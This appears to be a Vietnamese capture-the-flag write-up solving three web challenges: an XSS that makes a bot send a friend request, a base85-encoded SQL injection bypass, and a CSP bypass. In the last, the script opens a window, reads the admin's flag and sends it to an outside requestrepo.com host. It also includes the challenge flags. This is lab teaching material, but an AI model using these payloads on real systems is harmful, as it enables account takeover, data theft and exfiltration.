Mọi cái res đều trả về cookie với bằng cách set httpOnly: true, khi đó script không thể leak được cookie ra ngoài. Ở đây sau khi đăng ký tài khoản tài khoảng vào pass được set trong một map = [] có tên là accounts
Ở đây /friend kiểm tra username của friend, chú ý rằng nếu friend đó có tên bạn rồi thì sẽ response ra res.status(400).send("Already metafriended"); còn nếu không thì friend đó sẽ push mình vào danh sách -> có nghĩa là khi mình gửi kết bạn thì người đó thấy mình nhưng mình k thấy họ kiểu thế.
Ở đây như mình đã nói ban đầu thì /post có thể XSS nhưng ở đây chúng ta sẽ tạo script để gửi tới bot gửi kết bạn tới chúng ta, chúng ta có một function friend ở source code:
Chèn script này vào post rồi lấy link post gửi cho bot.
Flag: lactf{please_metaget_me_out_of_here}
85_reasons_why
Mình đã lòng vòng một lúc trong trang này xem có gì không thì mình không khai thác được gì. Lúc bấy giờ mình quyết định tải code về đọc.
Đọc tới file views.py mình thấy một đoạn code như sau:
spic = serialize_image(incoming_file.read())
try:
res = db.session.connection().execute(\
text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
except Exception:
return ("SQL error encountered", 500)
Ở đây có thể khai thác sql injection -> kiểu như: ' or 1=1--
Nhưng ở đây có một cái nữa là khi ảnh được up lên để search thì nó đi qua một hàm serialize_image\
Hàm này được code ở utils.py
def serialize_image(pp):
b85 = base64.a85encode(pp)
b85_string = b85.decode('UTF-8', 'ignore')
# identify single quotes, and then escape them
b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
b85_string = re.sub('\'', '\'\'', b85_string)
b85_string = re.sub('~', '\'', b85_string)
b85_string = re.sub('\\:', '~', b85_string)
return b85_string
def deserialize_image(b85):
ret = b85
ret = re.sub('~', ':', b85)
raw_image = base64.a85decode(ret)
b64 = base64.encodebytes(raw_image).decode('UTF-8')
return 'data:image/png;base64, ' + b64
def deserialize_images(post):
ret = []
for i in range(len(post.images)):
# It's no longer b85 but oh well
ret.append(deserialize_image(post.images[i].b85_image))
return ret
Ở đây hàm serialize_image() thự hiện a85endcode (Encode the bytes-like objectb using base85 and return the encoded bytes.). Sau đó nó decode base85 và lọc đi các ký tự.
Một cái nữa là base85 không decode ra khoảng trắng, mình đã test payload nhưng print nó ra thì không được: bypass khoảng trắng = /**/
Payload sẽ như sau:
import base64
import re
def serialize_image(pp):
b85 = base64.a85encode(pp)
b85_string = b85.decode('UTF-8', 'ignore')
# identify single quotes, and then escape them
b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
print(f'1 {b85_string}')
b85_string = re.sub('\'', '\'\'', b85_string)
print(f'2 {b85_string}')
b85_string = re.sub('~', '\'', b85_string)
print(f'3 {b85_string}')
b85_string = re.sub('\\:', '~', b85_string)
print(f'4 {b85_string}')
return b85_string
payload = "\\\\\\'/**/or/**/1=1--"
# ' or 1=1 --
print(serialize_image(base64.a85decode(payload)))
#write byte in payload
f = open("payload", "wb")
f.write(base64.a85decode(payload))
The follow code ở file utils.py chúng ta có đoạn payload như trên, payload trên giúp chúng ta sau những lần re.sub() ->' or 1=1 --
Bài này khá hay, nó có kiến thức mình vừa học, bài có source code trước nên chúng ta bắt tay vào review thôi.
const express = require("express");
const path = require("path");
const { v4: uuid } = require("uuid");
const cookieParser = require("cookie-parser");
const flag = process.env.FLAG;
const port = parseInt(process.env.PORT) || 8080;
const adminpw = process.env.ADMINPW || "placeholder";
const app = express();
const reports = new Map();
let cleanup = [];
setInterval(() => {
const now = Date.now();
let i = cleanup.findIndex(x => now < x[1]);
if (i === -1) {
i = cleanup.length;
}
for (let j = 0; j < i; j ++) {
reports.delete(cleanup[j][0]);
}
cleanup = cleanup.slice(i);
}, 1000 * 60);
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));
app.get("/flag", (req, res) => {
res.status(400).send("you have to POST the flag this time >:)");
});
app.post("/flag", (req, res) => {
if (req.cookies.adminpw === adminpw) {
res.send(flag);
} else {
res.status(400).send("no hacking allowed");
}
});
app.use((req, res, next) => {
res.set(
"Content-Security-Policy",
"default-src 'none'; script-src 'unsafe-inline'"
);
next();
});
app.post("/report", (req, res) => {
res.type("text/plain");
const crime = req.body.crime;
if (typeof crime !== "string") {
res.status(400).send("no crime provided");
return;
}
if (crime.length > 2048) {
res.status(400).send("our servers aren't good enough to handle that");
return;
}
const id = uuid();
reports.set(id, crime);
cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]);
res.redirect("/report/" + id);
});
app.get("/report/:id", (req, res) => {
if (reports.has(req.params.id)) {
res.type("text/html").send(reports.get(req.params.id));
} else {
res.type("text/plain").status(400).send("report doesn't exist");
}
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Listening on port ${port}`);
});
Chúng ta chú ý rằng ở đây / được set header Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'
default-src 'none' -> không thể load được tài nguyên từ domain khác kể cả server
Đây có điều đang nói là CSP này nó ảnh hưởng trừ / xuống dưới(next()) còn ở /flag thì không.
Phân tích đoạn code sau:
/flag phải sử dụng method POST tới /flag, nếu mà cookie thuộc admin thì resp ra flag còn không thì no hacking alllowed.
Chúng ta sẽ sử dụng window.open() để mở /flag ra sau đó show /flag của admin tới sever của mình.(Giống một bài mình từng làm ở giải Wrek CTF)
Payload sẽ như sau:
<form method="POST" id="form" action="/flag" target='shang'>
</form>
<script>
//Ở đây k cần truyền url, nó sẽ tự target cùng name với nhau.
const w = window.open('', 'shang')
form.submit()
setTimeout(() => {
location = 'http://dn17ybmm.requestrepo.com?flag=' + w.document.body.innerText
}, 500)
</script>l
Cảm ơn mọi người đã đọc bài mình viết, trên đây chỉ có một vài bài mình cảm thấy hay và mình quyết định viết solution....Hẹn gặp các bạn vào giải tiếp theo!!!